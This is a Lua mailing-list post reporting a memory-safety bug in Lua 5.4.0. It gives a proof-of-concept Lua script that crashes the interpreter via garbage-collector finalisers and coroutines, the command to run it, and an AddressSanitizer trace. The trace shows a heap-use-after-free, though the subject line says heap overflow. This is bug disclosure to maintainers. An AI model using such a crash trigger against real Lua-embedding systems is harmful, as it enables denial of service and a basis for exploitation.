[Date Prev][Date Next][Thread Prev][Thread Next] [Date Index] [Thread Index]

- **Subject**: **Heap overflow in luaH_get**
- **From**: Yongheng Chen <changochen1@...>
- **Date**: Mon, 6 Jul 2020 15:15:50 -0400

Hi,

We found a heap overflow in lua. Here's the details:

Version:

Lua 5.4.0, git hash c33b1728aeb7dfeec4013562660e07d32697aa6b

POC:

```
function test(do_yield) error 'fail!' end coro = coroutine.wrap(
function() function errfunc() function errfunc(x)
    pcall(function()
        u = setmetatable({},
        {
            __gc = function(a) B =
                coroutine
                .create(function() do assert(
                    setmetatable(
                    {},
                    {
                        __gc
                        =
                        function(  )
                            function crash(  )
                                t[pairs( a )]=0
                            end
                            for i = 1, 5 do crash( )end
                        end
                    }))
                    if k then end end end)
                    coroutine.resume(B) end
                }) require 'mod' end) 'fail' end coro =
                coroutine.wrap(function() print(xpcall(test, errfunc)) end)
            end print(xpcall(test, errfunc)) end) coro() coro()
```

How to reproduce:

```
./lua poc.lua
```

Tested on Ubuntu16.

Stack dump:

```
=================================================================
==14014==ERROR: AddressSanitizer: heap-use-after-free on address 0x6060000020d8 at pc 0x000000431a77 bp 0x7ffd9222c630 sp 0x7ffd9222c620
READ of size 8 at 0x6060000020d8 thread T0
    #0 0x431a76 in luaH_get (/home/yongheng/lua_asan/lua+0x431a76)
    #1 0x40a007 in lua_rawget (/home/yongheng/lua_asan/lua+0x40a007)
    #2 0x44af37 in luaL_getmetafield (/home/yongheng/lua_asan/lua+0x44af37)
    #3 0x45683f in luaB_pairs (/home/yongheng/lua_asan/lua+0x45683f)
    #4 0x414de1 in luaD_call (/home/yongheng/lua_asan/lua+0x414de1)
    #5 0x43d4cc in luaV_execute (/home/yongheng/lua_asan/lua+0x43d4cc)
    #6 0x43d4cc in luaV_execute (/home/yongheng/lua_asan/lua+0x43d4cc)
    #7 0x415194 in luaD_callnoyield (/home/yongheng/lua_asan/lua+0x415194)
```

```
   #8 0x4127d0 in luaD_rawrunprotected (/home/yongheng/lua_asan/lua+0x4127d0)

   #9 0x415d70 in luaD_pcall (/home/yongheng/lua_asan/lua+0x415d70)

   #10 0x41ac34 in GCTM (/home/yongheng/lua_asan/lua+0x41ac34)

   #11 0x41e812 in finishgencycle (/home/yongheng/lua_asan/lua+0x41e812)

   #12 0x41ff00 in luaC_step (/home/yongheng/lua_asan/lua+0x41ff00)

   #13 0x448dd6 in luaL_error (/home/yongheng/lua_asan/lua+0x448dd6)

   #14 0x468a84 in findloader (/home/yongheng/lua_asan/lua+0x468a84)

   #15 0x468b97 in ll_require (/home/yongheng/lua_asan/lua+0x468b97)

   #16 0x414de1 in luaD_call (/home/yongheng/lua_asan/lua+0x414de1)

   #17 0x43d4cc in luaV_execute (/home/yongheng/lua_asan/lua+0x43d4cc)

   #18 0x415194 in luaD_callnoyield (/home/yongheng/lua_asan/lua+0x415194)

   #19 0x4127d0 in luaD_rawrunprotected (/home/yongheng/lua_asan/lua+0x4127d0)

   #20 0x415d70 in luaD_pcall (/home/yongheng/lua_asan/lua+0x415d70)

   #21 0x40bd47 in lua_pcallk (/home/yongheng/lua_asan/lua+0x40bd47)

   #22 0x456d0f in luaB_pcall (/home/yongheng/lua_asan/lua+0x456d0f)

   #23 0x414de1 in luaD_call (/home/yongheng/lua_asan/lua+0x414de1)

   #24 0x43d4cc in luaV_execute (/home/yongheng/lua_asan/lua+0x43d4cc)

   #25 0x415194 in luaD_callnoyield (/home/yongheng/lua_asan/lua+0x415194)

   #26 0x4112ae in luaG_errormsg (/home/yongheng/lua_asan/lua+0x4112ae)

   #27 0x411491 in luaG_runerror (/home/yongheng/lua_asan/lua+0x411491)

   #28 0x411595 in luaG_typeerror (/home/yongheng/lua_asan/lua+0x411595)

   #29 0x4138bc in luaD_tryfuncTM (/home/yongheng/lua_asan/lua+0x4138bc)

  #30 0x41480d in luaD_call (/home/yongheng/lua_asan/lua+0x41480d)
```

Found by: Yongheng Chen and Rui Zhong

Best,

Yongheng

Sent from Mail for Windows 10

- **Follow-Ups**:
  - **Re: Heap overflow in luaH_get**, *Sergey Zakharchenko*
  - **Re: Heap overflow in luaH_get**, *Andrew Gierth*

- Prev by Date: **Re: Stack overflow in luaO_pushvfstring**
- Next by Date: **Re: Stack overflow in luaO_pushvfstring**
- Previous by thread: **[BUG] C-undefined behavior exposed via io.popen mode parameter**
- Next by thread: **Re: Heap overflow in luaH_get**
- Index(es):
  - **Date**
  - **Thread**